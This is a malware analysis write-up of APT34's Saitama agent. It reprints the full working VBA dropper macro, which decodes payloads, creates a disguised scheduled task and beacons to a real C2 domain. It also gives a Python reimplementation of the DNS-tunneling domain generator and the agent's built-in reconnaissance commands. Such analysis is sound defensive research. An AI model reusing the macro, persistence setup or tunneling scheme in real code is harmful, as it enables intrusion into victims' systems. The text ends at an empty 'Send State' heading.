APT34 - Saitama Agent
Introduction
The spear phishing email contained a malicious attachment and the malicious attachment droppes APT34 malware named Saitama . What interesting in this sample and set it apart from average malware that it’s using a unique DNS tunneling and stateful programming ( finite state machine ).
Stage 1 - Excel Document
The attached Excel file contains a malicious VBA macro . The document has an image that tries to convince the victim to enable a macro. After enabling the macro, the image is replaced with a one of the Jordan government ministrie’s logo .
Using olevba to get an overview of what the VBA does and extract the macro. It seems it drops and execute a file.
Here is the macro after renaming the variable to make it more readable and easy to understand.
Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr
Dim random_number As String
#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&
#End If
Private Sub WorkbrootFolderk_Open()
GoTo s1
Sheets("Confirmation Receive Document").Visible = True
Sheets("Confirmation Receive Documents").Visible = False
'Sheets("TeamViewer Licenses").Visible = True
'Sheets("TeamViewer License").Visible = False
Exit Sub
s1:
Sheets("Confirmation Receive Documents").Visible = True
Sheets("Confirmation Receive Document").Visible = False
' Generate 4 digit random rumber
random_number = CStr(Int((10000 * Rnd())))
eNotif "zbabz"
' Create object file
Set fs = CreateObject("Scripting.FileSystemObject")
' Create the TaskService object.
Set service = CreateObject("schedule.service")
Call service.Connect
Dim rootFolder
On Error Resume Next
' Get the task folder that contains the tasks.
Set rootFolder = service.GetFolder("\")
eNotif "zbbbz"
On Error Resume Next
' If mouse device is connected
If Application.MouseAvailable Then
drop_path = LCase(Environ("localappdata")) & "\MicrosoftUpdate\"
If Dir(drop_path, vbDirectory) = "" Then
MkDir drop_path
End If
' drop_path = \AppData\Local\MicrosoftUpdate\
' drop following files in drop_path
malware = drop_path & "update.exe"
config = drop_path & "update.exe.config"
DLL = drop_path & "Microsoft.Exchange.WebServices.dll"
Set objXMLDoc = CreateObject("Microsoft.XMLDOM")
Set objXmlNode = objXMLDoc.createElement("tmp")
objXmlNode.DataType = "bin.base64"
objXmlNode.Text = UserForm1.Label1.Caption
b64_decoded = objXmlNode.NodeTypedValue
Dim FileNumber As Integer
FileNumber = FreeFile
Open malware For Binary Lock Read Write As #FileNumber
Dim Decoded_bytes() As Byte
Decoded_bytes = b64_decoded
Put #FileNumber , 1, Decoded_bytes
Close #FileNumber
eNotif "zbaez"
objXmlNode.Text = UserForm2.Label1.Caption
b64_decoded = objXmlNode.NodeTypedValue
FileNumber = 0
FileNumber = FreeFile
Open config For Binary Lock Read Write As #FileNumber
Decoded_bytes = b64_decoded
Put #FileNumber , 1, Decoded_bytes
Close #FileNumber
eNotif "zbbez"
objXmlNode.Text = UserForm3.Label1.Caption
b64_decoded = objXmlNode.NodeTypedValue
FileNumber = 0
FileNumber = FreeFile
Open DLL For Binary Lock Read Write As #FileNumber
Decoded_bytes = b64_decoded
Put #FileNumber , 1, Decoded_bytes
Close #FileNumber
eNotif "zbcez"
' Create object file
Set objFSO = CreateObject("Scripting.FileSystemObject")
If Not objFSO.FileExists(malware) Then
eNotif "zbdez"
Test
eNotif "zbeez"
End If
End If
eNotif "zbafz"
Dim xmlText As String
xmlText = "<?xml version=""1.0"" encoding=""UTF-16""?><Task version=""1.2"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task""><RegistrationInfo><Author>Microsoft Corporation</Author><Description>Microsoft Important Update</Description></RegistrationInfo><Triggers><TimeTrigger><Repetition><Interval>PT4M</Interval></Repetition><StartBoundary>" & Format(DateAdd("n", 1, Now()), "yyyy-mm-ddThh:nn:ss") & "</StartBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Principals><Principal id=""Author""><LogonType>InteractiveToken</LogonType><RunLevel>LeastPrivilege</RunLevel></Principal></Principals><Settings><MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>"
xmlText = xmlText & "<IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout></IdleSettings><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P20D</ExecutionTimeLimit><Priority>7</Priority></Settings><Actions Context=""Author""><Exec><Command>""" & ofp & """</Command><WorkingDirectory>" & drop_path & "</WorkingDirectory></Exec></Actions></Task>"
' Paramters: 6 =>TASK_CREATE_OR_UPDATE , 3=> TASK_LOGON_INTERACTIVE_TOKEN)
Call rootFolder.RegisterTask("MicrosoftUpdate", xmlText, 6, , , 3)
eNotif "zbbfz"
End Sub
Sub Test()
Set objXMLDoc = CreateObject("Microsoft.XMLDOM")
Set objXmlNode = objXMLDoc.createElement("tmp")
objXmlNode.DataType = "bin.base64"
objXmlNode.Text = word.Label.Caption
b64_decoded = objXmlNode.NodeTypedValue
Dim decoded_bytes() As Byte
decoded_bytes = b64_decoded
' VBA code for calling AppDomain.Load using raw vtable lookups for the IUnknown
' Upon searching the next line , the following link pop ups https://gist.github.com/monoxgas/1b36031c5593ebfed3229f4424f77090
Dim host As New mscoree.CorRuntimeHost, dom As AppDomain
host.Start
host.GetDefaultDomain dom
Dim vRet As Variant, lRet As Long
Dim vTypes(0 To 1) As Integer
Dim vValues(0 To 1) As LongPtr
Dim pPArry As LongPtr: pPArry = VarPtrArray(decoded_bytes)
Dim pArry As LongPtr
RtlMoveMemory pArry, ByVal pPArry, LS
Dim vWrap: vWrap = pArry
vValues(0) = VarPtr(vWrap)
vTypes(0) = 16411
Dim pRef As LongPtr: pRef = 0
Dim vWrap2: vWrap2 = VarPtr(pRef)
vValues(1) = VarPtr(vWrap2)
vTypes(1) = 16396
lRet = DispCallFunc(ObjPtr(dom), 45 * LS, 4, vbLong, 2, vTypes(0), vValues(0), vRet)
Dim aRef As mscorlib.assembly
RtlMoveMemory aRef, pRef, LS
aRef.CreateInstance "Saitama.Agent.Program"
End Sub
Function eNotif(tMsg) 'tMsg = "zbbfz","zbafz","zbeez","zbdez","zbcez","zbbez","zbaez" , "zbbbz" , "zbabz"
GetIPfromHostName("qw" & tMsg & random_number & ".joexpediagroup.com")
End Function
Function GetIPfromHostName(p_sHostName) As String
On Error GoTo o5
Dim wmiQuery
Dim objWMIService
Dim objPing
Dim objStatus
' Win32_PingStatus WMI class represents the values returned by the standard ping command.
wmiQuery = "Select * From Win32_PingStatus Where Address = '" & p_sHostName & "'"
' Creating a WMI instance to query information in the cimv2 category.
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objPing = objWMIService.ExecQuery(wmiQuery)
For Each objStatus In objPing
If objStatus.StatusCode = 0 Then
GetIPfromHostName = objStatus.ProtocolAddress
Else
GetIPfromHostName = "Unreachable"
End If
Next
GoTo o6
o5:
GetIPfromHostName = "someting wrong"
o6:
End Function
Macro Capabilities
-
Hides the current sheet and shows the new sheet that contains one of the Jordan government ministry’s logo.
-
Calls the
eNotif
function at every step of the macro execution notifying the C2 with the execution progress. To send a notification it builds different subdomains each step .The domain consists of the following partsqw + 5 chars changes depending on the macro stage that identify the macro current stage + 4 random digits + .joexpediagroup.com
.It uses the WMI to ping the C2 server. -
Checks if there is a mouse connected ( avoiding automated analysis ) and if so it Create three files a malicious PE file is created and dropped in
%LocalAppData%\MicrosoftUpdate\update.exe
, A configuration file is created and dropped in%LocalAppData%\MicrosoftUpdate\update.exe.config
, And the third file dropped in%LocalAppData%\MicrosoftUpdate\Microsoft.Exchange.WebServices.dll
, was signed and clean. The files content is in base64 encoded in the excel sheet , by reading the content of the UserForm1.label1, UserForm2.label1 and UserForm3.label1 they are in base64 format, decodes them and writes them into the created files respectively. -
Checking that the malicious PE file was successfully created and if not for any reason , it writes it using a technique that loads a DotNet assembly directly using mscorlib and Assembly.Load by manually accessing the VTable of the IUnknown. This technique was taken from Github. This technique was not used in this macro since the file was already Created, although the function is trying to decode content from word.Label.Caption and it supposed to be UserForm1.label1 instead , which actually contains nothing , so it’s a useless function ,and the developer was just testing this technique .
-
The macro creates a persistence method for update.exe file. This is done by setting a scheduled task under the name of the MicrosoftUpdate .
Scheduled Task
I commented the xml to be easily understandable.
<?xml version=""1.0"" encoding=""UTF-16""?>
<Task version=""1.2"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task"">
<RegistrationInfo>
<Author>Microsoft Corporation</Author>
<Description>Microsoft Important Update</Description>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT4M</Interval> <!-- Restart task every 4 Minutes -->
</Repetition>
<StartBoundary>" & Format(DateAdd("n", 1, Now()), "yyyy-mm-ddThh:nn:ss") & "</StartBoundary>
<!-- Specifies the date and time when the trigger is activated. -->
<Enabled>true</Enabled> <!--Specifies that the trigger is enabled.-->
</TimeTrigger>
</Triggers>
<Principals> <!--Specifies the security contexts that can be used to run the task.-->
<Principal id=""Author"">
<!-- Specifies the security credentials for a principal. These credentials define the security context that a task runs under.-->
<LogonType>InteractiveToken</LogonType>
<!-- User must already be logged on. The task will be run only in an existing interactive session.-->
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<!-- Starts a new instance while an existing instance is running. -->
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<!--Specifies that the task will not be started if the computer is running on battery power.-->
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<!--Specifies that the task will be stopped if the computer switches to battery power.-->
<AllowHardTerminate>true</AllowHardTerminate>
<!--Specifies if the Task Scheduler service allows hard termination of the task.-->
<StartWhenAvailable>true</StartWhenAvailable>
<!--Specifies that the Task Scheduler can start the task at any time after its scheduled time has passed.-->
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<!--Specifies that the Task Scheduler will run the task only when a network is available.-->
<IdleSettings>
<!--Specifies how the Task Scheduler performs tasks when the computer is in an idle state.-->
<Duration>PT10M</Duration>
<!-- 10 Minute --> <!--Specifies how long the computer must be in an idle state before the task is run.-->
<WaitTimeout>PT1H</WaitTimeout>
<!-- 1 Hour --> <!--Specifies the amount of time that the Task Scheduler will wait for an idle condition to
occur. -->
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<!--Specifies that the task can be started by using either the Run command or the Context menu.-->
<Enabled>true</Enabled>
<!--Specifies that the task is enabled. The task can be performed only when this setting is True. -->
<Hidden>false</Hidden>
<!--Specifies, by default, that the task will not be visible in the user interface (UI).-->
<RunOnlyIfIdle>false</RunOnlyIfIdle> <!--Specifies that the task is run only when the computer is in an idle
state.-->
<WakeToRun>false</WakeToRun>
<!--Specifies that Task Scheduler will wake the computer before it runs the task.-->
<ExecutionTimeLimit>P20D</ExecutionTimeLimit>
<!-- 20 Days --> <!--Specifies the amount of time allowed to complete the task.-->
<Priority>7</Priority> <!-- BELOW_NORMAL_PRIORITY_CLASS THREAD_PRIORITY_BELOW_NORMAL-->
</Settings>
<Actions Context=""Author""> <!-- Execute the malware -->
<Exec>
<Command>""" & Malware & """</Command>
<WorkingDirectory>" & drop_path & "</WorkingDirectory>
</Exec>
</Actions>
</Task>
Macro States Notifications
C2 Serve | State |
---|---|
qwzbabz[four-digits].joexpediagroup[.]com | Macro started |
qwzbbbz[four-digits].joexpediagroup[.]com | Connected successfully to task scheduler to get the task folder that contains the tasks |
qwzbaez[four-digits].joexpediagroup[.]com | Malware created |
qwzbbez[four-digits].joexpediagroup[.]com | Config created |
qwzbcez[four-digits].joexpediagroup[.]com | DLL created |
qwzbdez[four-digits].joexpediagroup[.]com | If the malware is not created |
qwzbeez[four-digits].joexpediagroup[.]com | Create malware if not created |
qwzbafz[four-digits].joexpediagroup[.]com | Task scheduler configuration |
qwzbbfz[four-digits].joexpediagroup[.]com | Scheduled task created |
Dropped Configuration
Stage2 .net Malicious File
Before digging in , we can get an overview about what the malware can do . it seems it can execute commands , compress / decompress capabilities , and it have a pseudorandom number generator . I will start explaining the least interesting parts first.
Mutex
The malware creates a mutex object 726a06ad-475b-4bc6-8466-f08960595f1e
to avoid having more than one instance running.
If instance of the malware is already running therefore malware exits.
Machine States
The malware utilizes the concept of finite state machine .
The makeup of a finite state machine consists of the following:
- A set of potential input events.
- A set of probable output events that correspond to the potential input events.
- A set of expected states the system can exhibit.
- The machine can either move to the next state or stay in the same state.
In the following figure , the machine start in a state called Door Closed
, if event called opening the door
happens the machine state changes to Door open
.
So our malware although have some states and events that make it move to other states to do malicious activity.
We can see a dictionary of transactions definitions and an initialization to the current state as Beign
,
as example if the current machine state is Begin
and we have a command telling us to Start
then we are updating the current machine state to Alive
as seen below , we will get a better understanding of the states idea while we are going through our analysis.
Here is a table of all possible states and transactions :
Current Machine State | Machine Command | New Machine State |
---|---|---|
Begin | Start | Alive |
Sleep | Start | Alive |
Alive | Failed | Sleep (21600000- 28800000) |
Alive | HasData | Receive |
Receive | Failed | Sleep (40000-80000) |
Receive | DataReceived | Do |
Do | Failed | SecondSleep (1800000- 2700000) |
Do | HasResult | Send |
Send | Failed | Sleep (40000-80000) |
Send | HasData | SendAndReceive |
Send | DataSended | Do |
Send | DataSendedAndHasData | Receive |
SendAndReceive | Failed | Sleep (40000-80000) |
SendAndReceive | DataReceived | Send |
SendAndReceive | DataSended | Receive |
SendAndReceive | DataSendedAndReceived | Do |
SecondSleep | Start | Alive |
We have 8 states , every state have a certain value as seen below :
MachineState | Values |
---|---|
MachineState Begin | 0 |
MachineState Sleep | 1 |
MachineState Alive | 2 |
MachineState Receive | 3 |
MachineState Do | 4 |
MachineState Send | 5 |
MachineState SendAndReceive | 6 |
MachineState SecondSleep | 7 |
So after initializing the current MachineState
as Beign
, it enters the first case Begin
and the current machine state will change to Alive
and start doing it’s malicious activity .
Configuration
The malware Loades random number into counter variable , initializes domains , and a list of byte array called listData
Here is some variables in config class and its values which we will see being used in other classes.
Variable | Value |
---|---|
Config.DelayMinAlive | 21600000 |
Config.DelayMaxAlive | 28800000 |
Config.DelayMinCommunicate | 40000 |
Config.DelayMaxCommunicate | 80000 |
Config.DelayMinSecondCheck | 1800000 |
Config.DelayMaxSecondCheck | 2700000 |
Config.DelayMinRetry | 300000 |
Config.DelayMaxRetry | 420000 |
Config.MaxTry | 7 |
Config.TaskExecTimeout | 10800000 |
Config.SendCount | 12 |
Config.CharsDomain | “abcdefghijklmnopqrstuvwxyz0123456789” |
Config.CharsCounter | “razupgnv2w01eos4t38h7yqidxmkljc6b9f5” |
Config.FirstAliveKey | “haruto” |
Config._AgentID | null |
Config._MaxCounter | 46656 |
Before discussing the more important parts. lets first discuss two states SleepAlive
and SleepSecond
SleepAlive
The malware can sleep for very long time by calling MakeDelay.
SleepAlive
state simply sleeps for certain time then return machine command start , so after sleeping the MahcineState
will be Alive
. you can check the table of states and commands .
SleepSecond
Same as SleepAlive
except for the argument getting passed to MakeDleay
fuction.
MakeDelay
The possible arguments for MakeDelay are:
DelayType | Values |
---|---|
Enums.DelayType Alive | 0 |
Enums.DelayType Communicate | 1 |
Enums.DelayType SecondCheck | 2 |
Enums.DelayType Retry | 3 |
Depending on the argument being passed , it initializes min and max values with certain values discussed above in config table . then get a random number between min and max and that random value will be the time to sleep .
MakeDelay is called in other states although .
Alive State
Lets start making things a little bit interesting .
This malware uses DNS tunneling to communicate with its C2 as we will see everything the malware need from the C2 is built into the DNS request.
The first state the malware gets in is Alive
.
First the malware checks if an AgentId
exist which is not , and then call TryMe
with _FirstAlive
function as argument .
TryMe
takes a function as an argument , and try to execute the function that is passed to it , until it return success or the number of tries exceeded MaxTry
, between every try the malware sleep for some time using MakeDelay
. If number of tries exceeded MaxTry
the malware adds 1 to the counter that was initialized in the first place .
FirstAlive
constructs a subdomain by passing FirstAlive
parameter which is 0 and FirstAliveKey
which is haruto
to the DomainMaker
and try to connect to it and get its address .
There are other possible arguments for the first parameter:
DomainType | Values |
---|---|
Enums.DomainType FirstAlive | 0 |
Enums.DomainType Send | 1 |
Enums.DomainType Receive | 2 |
Enums.DomainType SendAndReceive | 3 |
Enums.DomainType MainAlive | 4 |
Python Implementation of the DGA
import math
import base64
CharsDomain = "abcdefghijklmnopqrstuvwxyz0123456789"
CharsCounter = "razupgnv2w01eos4t38h7yqidxmkljc6b9f5"
class RandomMersenneTwister():
def __init__(self, c_seed=5489):
(self.w, self.n, self.m, self.r) = (32, 624, 397, 31)
self.a = 0x9908B0DF
(self.u, self.d) = (11, 0xFFFFFFFF)
(self.s, self.b) = (7, 0x9D2C5680)
(self.t, self.c) = (15, 0xEFC60000)
self.l = 18
self.f = 1812433253
self.MT = [0 for i in range(self.n)]
self.index = self.n+1
self.lower_mask = 0x7FFFFFFF
self.upper_mask = 0x80000000
self.c_seed = c_seed
self.seed(c_seed)
def seed(self, num):
self.MT[0] = num
self.index = self.n
for i in range(1, self.n):
temp = self.f * (self.MT[i-1] ^ (self.MT[i-1] >> (self.w-2))) + i
self.MT[i] = temp & 0xffffffff
def twist(self):
for i in range(0, self.n):
x = (self.MT[i] & self.upper_mask) + \
(self.MT[(i+1) % self.n] & self.lower_mask)
xA = x >> 1
if (x % 2) != 0:
xA = xA ^ self.a
self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA
self.index = 0
def extract_number(self):
if self.index >= self.n:
self.twist()
y = self.MT[self.index]
y = y ^ ((y >> self.u) & self.d)
y = y ^ ((y << self.s) & self.b)
y = y ^ ((y << self.t) & self.c)
y = y ^ (y >> self.l)
self.index += 1
return y & 0xffffffff
def GetRandomRange(self , minn , maxx):
num = maxx - minn
randnum = self.extract_number()
return minn + (randnum % num)
def ConvertIntToDomain(value):
text = ""
length = len(CharsDomain)
while 1:
text = CharsDomain[value % length] + text
value //= length
if value <= 0:
break
return text
def PadLeft(text,totalWidth,paddingChar):
if totalWidth < len(text):
return text
return paddingChar*(totalWidth-len(text)) + text
def ConvertIntToCounter(value):
text = ""
length = len(CharsCounter)
while 1:
text = CharsCounter[value % length] + text
value //= length
if value <= 0:
break
return text
def MapBaseSubdomainCharacters( data, shuffle):
text = ""
for i in range(len(data)):
text += shuffle[CharsDomain.index(data[i])];
return text
def Shuffle(seed):
CharsDomain = "abcdefghijklmnopqrstuvwxyz0123456789"
randomMersenneTwister = RandomMersenneTwister(seed)
length = len(CharsDomain)
text2 = ""
for i in range(length):
randomRange = randomMersenneTwister.GetRandomRange(0,len(CharsDomain))
text2 += CharsDomain[randomRange];
CharsDomain = CharsDomain.replace(CharsDomain[randomRange],'')
return text2
Domain Generation
The DomainMaker
uses a pseudorandom number generator and other functions seen in the above code .I wont discusses them since the implementation is clear and easy to understand .
Since our state is Alive
and we are trying to generate its subdomain , once a subdomain is generated, the malware randomly chooses one of three domains to concatenate with joexpediagroup[.]com, asiaworldremit[.]com, or uber-asia[.]com
.
Steps for generating subdomains :
- Convert DomainType which is int to character and append data passed to it which is
haruto
. - Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers.
- Map step 1 output to the shuffled chars .
- Convert seed ( counter ) to char and pad it with the first char in
CharCounter
. - Then append a random domain from the 3 that exists
joexpediagroup.com
,asiaworldremit.com
,uber-asia.com
. - Generated domain = step 3 output + step 4 output + step 5 output
- The counter is increased if the malware was successfully connected to the generated domain .
As example let the counter (seed) be 6537 , we can see the generated subdomain in the following snippet:
seed = 6537
FirstAliveKey = "haruto"
shuffle = Shuffle(seed)
domain = ConvertIntToDomain(0) + FirstAliveKey
Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "."
print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]")
qtqbkz1gay. [ joexpediagroup.com | asiaworldremit.com |uber-asia.com ]
If the malware successfully got the IP of the domain generated , it sets the last octet of the address in AgentId
ex:
if the IP address is 127.0.0.1 so the AgentId
will be 1 , which will be used in DomainMaker
for other states.
Back to Alive
function , if it was successfully connected to the generated domain and AgentId
is set , it calls MainAlive
.
We can enumerate all possible subdomains to be generated from FirstAlive
by enumerating all possible seeds until 46656 ( max counter).
for seed in range(46656):
FirstAliveKey = "haruto"
shuffle = Shuffle(seed)
domain = ConvertIntToDomain(0) + FirstAliveKey
Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "."
print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]")
Quick Recap
Before we continue our analysis lets recap what already happened and put those pieces together .
- Mutex created .
- Machine States dictionary create which control the states transaction , and every state do different job .
- Config intialized .
- First state is
Begin
and a commandStart
changes state toAlive
. - Try to call
FirstAlive
untill it succeed or exceed maximum tries. FirstAlive
generate subdomain as discussed above .MainAlive
is called .
Let’s dig into MainAlive
state .
MainAlive State
The malware generate different subdomains constructed with the following steps:
- Convert
AgentId
to character . - Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers.
- Map step 1 output to the shuffled chars .
- Convert seed ( counter ) to char and pad it with the first char in
CharCounter
. - Then append a random domain from the 3 that exists
joexpediagroup.com
,asiaworldremit.com
,uber-asia.com
. - Generated domain = step 3 output + step 4 output + step 5 output .
- The counter is increased if the malware was successfully connected to the generated domain .
As example let the AgentID
be 203 , we can see the generated subdomain in the following snippet:
seed = 6538
agent_id = 203
shuffle = Shuffle(seed)
domain = ConvertIntToDomain(agent_id)
Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "."
print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]")
6agaq. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]
When DNS is queried for a domain, a DNS server returns an IP address that points to the requested domain. The malware then checks the first octet of the IP address to ensure the value is at least 128 to be considered valid. Perhaps this is a way for the malware to avoid internal IP addresses.
If the first octet value is at least 128 to , then initialize the data size that will be received by taking the last 3 octet s and that will be the size.
ex : if the IP address is 129.90.100.200 then the size would be :0x5a64c8
If successfully connected to the generated domain and first octet of the IP is at least 128 then the MachineState
will go to Receive
state.
We can enumerate all possible domain to be generated from MainAlive
state 11897280 possible domain
by enumerating the all possible seeds until 46656 and AgentId
until 255.
for seed in range(46656):
for agent_id in range(255):
shuffle = Shuffle(seed)
domain = ConvertIntToDomain(agent_id)
Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "."
print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]")
Receive State
This state fetches the C2 server, expecting to receive a command.
The malware generate different subdomains constructed with the following steps:
- Passed data = converted
RecieveByteIndex
to char padded with the first char inCharDomain
. - Convert domaintype to character and + the converted
AgentId
to character + data passed. - Use the counter that was randomly generated as a seed to MersenneTwister to genrate random numbers and return 36 random char and numbers.
- Map step 1 to the shuffled chars .
- Convert seed ( counter ) to char and pad it with the first char in
CharCounter
. - Then append a random domain from the 3 that exists
joexpediagroup.com
,asiaworldremit.com
,uber-asia.com
. - Generated domain = step 4 output + step 5 output + step 6 output
- The counter is increased if the malware was successfully connected to the generated domain .
Here is how the domain is generated :
seed = 6539
AgentID = 203
domainType = 2
ReceiveByteIndex = 0
data = PadLeft(ConvertIntToDomain(0),3,CharsDomain[0])
shuffle = Shuffle(seed)
domain = ConvertIntToDomain(domainType) + ConvertIntToDomain(AgentID) + data
Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "."
print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]")
aq3888gai. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]
If successfully connected to the generated domain , the malware start processing the received data by converting the IP address to byte array and add it ListData
.
Since the max number of bytes could be received from one connection is 4. so multiple connections needed if more than 4 bytes would be received .
The first octet will be task type and the rest will be the command only if the Received Size
is 4. If it’s more than that, the first octet of the first IP address of the generated domain will be the task type and IP addresses from the other generated domains will just be appended to it .
After all data have been received the malware move to new state Do
.
Do State
As we can see tasktype
was assigned the first octet and the others octets assigned to array2
, we have 5 task types .
so it might write a file on disk , if data was compressed then it will be decompressed then written to the file. The malware can although execute a built in command or other commands sent by the C2.
If a file is going to be written then a path should be specified ,so the path of the file will be the bytes of array2
from beginning until it match a |
char , and the other bytes are the file content .
Task types :
TaskType | Values |
---|---|
Enums.TaskType Static | 43 |
Enums.TaskType Cmd | 70 |
Enums.TaskType CompressedCmd | 71 |
Enums.TaskType File | 95 |
Enums.TaskType CompressedFile | 96 |
If the malware going to execute one of the built in commands , an interesting non-cryptographic hashing function (FNV-1a) computes the command number , actually it just related to performance and C# compiler and not how the malware operate .
Built in Commands
Some of commands are common reconnaissance but some of them are not that common. Some of the commands contain internal IPs and also internal domain names . That indicates that the actor has some previous knowledge about the internal infrastructure of the Organization . These commands are executed through PowerShell or through CMD .
Command Number | Interpreter | Payload | Impact |
---|---|---|---|
1 | PowerShell | Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddresss | Gets IP address for all IPv4 addresses on the computer. |
2 | PowerShell | Get-NetNeighbor -AddressFamily IPv4 | Select-Object IPADDress | Gets information about the neighbor cache for IPv4 , Gets neighbor cache information only about a specific neighbor IP address. |
3 | CMD | whoami | Display the domain and user name of the person who is currently logged on to this computer |
4 | PowerShell | [System.Environment]::OSVersion.VersionString | OS veriosn |
5 | CMD | net user | List of every user account, active or not, on the computer you're currently using. |
7 | PowerShell | Get-ChildItem -Path "C:\Program Files" | Select-Object Name | List folders under C:\Program Files installed programes |
8 | PowerShell | Get-ChildItem -Path 'C:\Program Files (x86)' | Select-Object Name | List folders under C:\Program Files (x86) installed programes |
9 | PowerShell | Get-ChildItem -Path 'C:' | Select-Object Name | List folders under C |
10 | CMD | hostname | Display the name of the computer |
11 | PowerShell | Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} | Select-Object "LocalAddress", "LocalPort", "RemoteAddress", "RemotePort" | Gets all TCP connections that have an Established state. |
12 | PowerShell | $(ping -n 1 10.65.4.50 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.4.51 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.65.65 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.53.53 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.21.200 | findstr /i ttl) -eq $null | Checking if these internal IPs are alive |
13 | PowerShell | nslookup ise-posture.mofagov.gover.local | findstr /i Address;nslookup webmail.gov.jo | findstr /i Address | Get IP Address of the domains ise-posture.mofagov.gover.local and nslookup webmail.gov.jo |
14 | PowerShell | $(ping -n 1 10.10.21.201 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.19.201 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.19.202 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.24.200 | findstr /i ttl) -eq $null | Checking if these internal IPs are alive |
15 | PowerShell | $(ping -n 1 10.10.10.4 | findstr /i ttl) -eq $null; $(ping -n 1 10.10.50.10 | findstr /i ttl) -eq $null; $(ping -n 1 10.10.22.50 | findstr /i ttl) -eq $null; $(ping -n 1 10.10.45.19 | findstr /i ttl) -eq $null | Checking if these internal IPs are alive |
16 | PowerShell | $(ping -n 1 10.65.51.11 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.6.1 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.52.200 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.6.3 | findstr /i ttl) -eq $null | Checking if these internal IPs are alive |
17 | PowerShell | $(ping -n 1 10.65.45.18 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.28.41 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.36.13 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.51.10 | findstr /i ttl) -eq $null | Checking if these internal IPs are alive |
18 | PowerShell | $(ping -n 1 10.10.22.42 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.23.200 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.45.19 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.19.50 | findstr /i ttl) -eq $null | Checking if these internal IPs are alive |
19 | PowerShell | $(ping -n 1 10.65.45.3 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.4.52 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.31.155 | findstr /i ttl) -eq $null;$(ping -n 1 ise-posture.mofagov.gover.local | findstr /i ttl) -eq $null | Checking if these internal IPs are alive |
20 | PowerShell | Get-NetIPConfiguration | Foreach IPv4DefaultGateway | Select-Object NextHop | Gets network configuration, including usable interfaces, IP addresses, and DNS servers. IPv4DefaultGateway, Gets default gatewayes for all interfaces |
21 | PowerShell | Get-DnsClientServerAddress -AddressFamily IPv4 | Select-Object SERVERAddresses | Gets all DNS server IP addresses associated with the interfaces on the computer only ipv4. |
22 | CMD | systeminfo | findstr /i \"Domain\" | Get domain name |
The result of the executed command is stored in resultData
and char =
is appended at the first if the data is compressed else char9
, then pass it to ReadySend
function which assign the resultData
to SendData
.
Send State
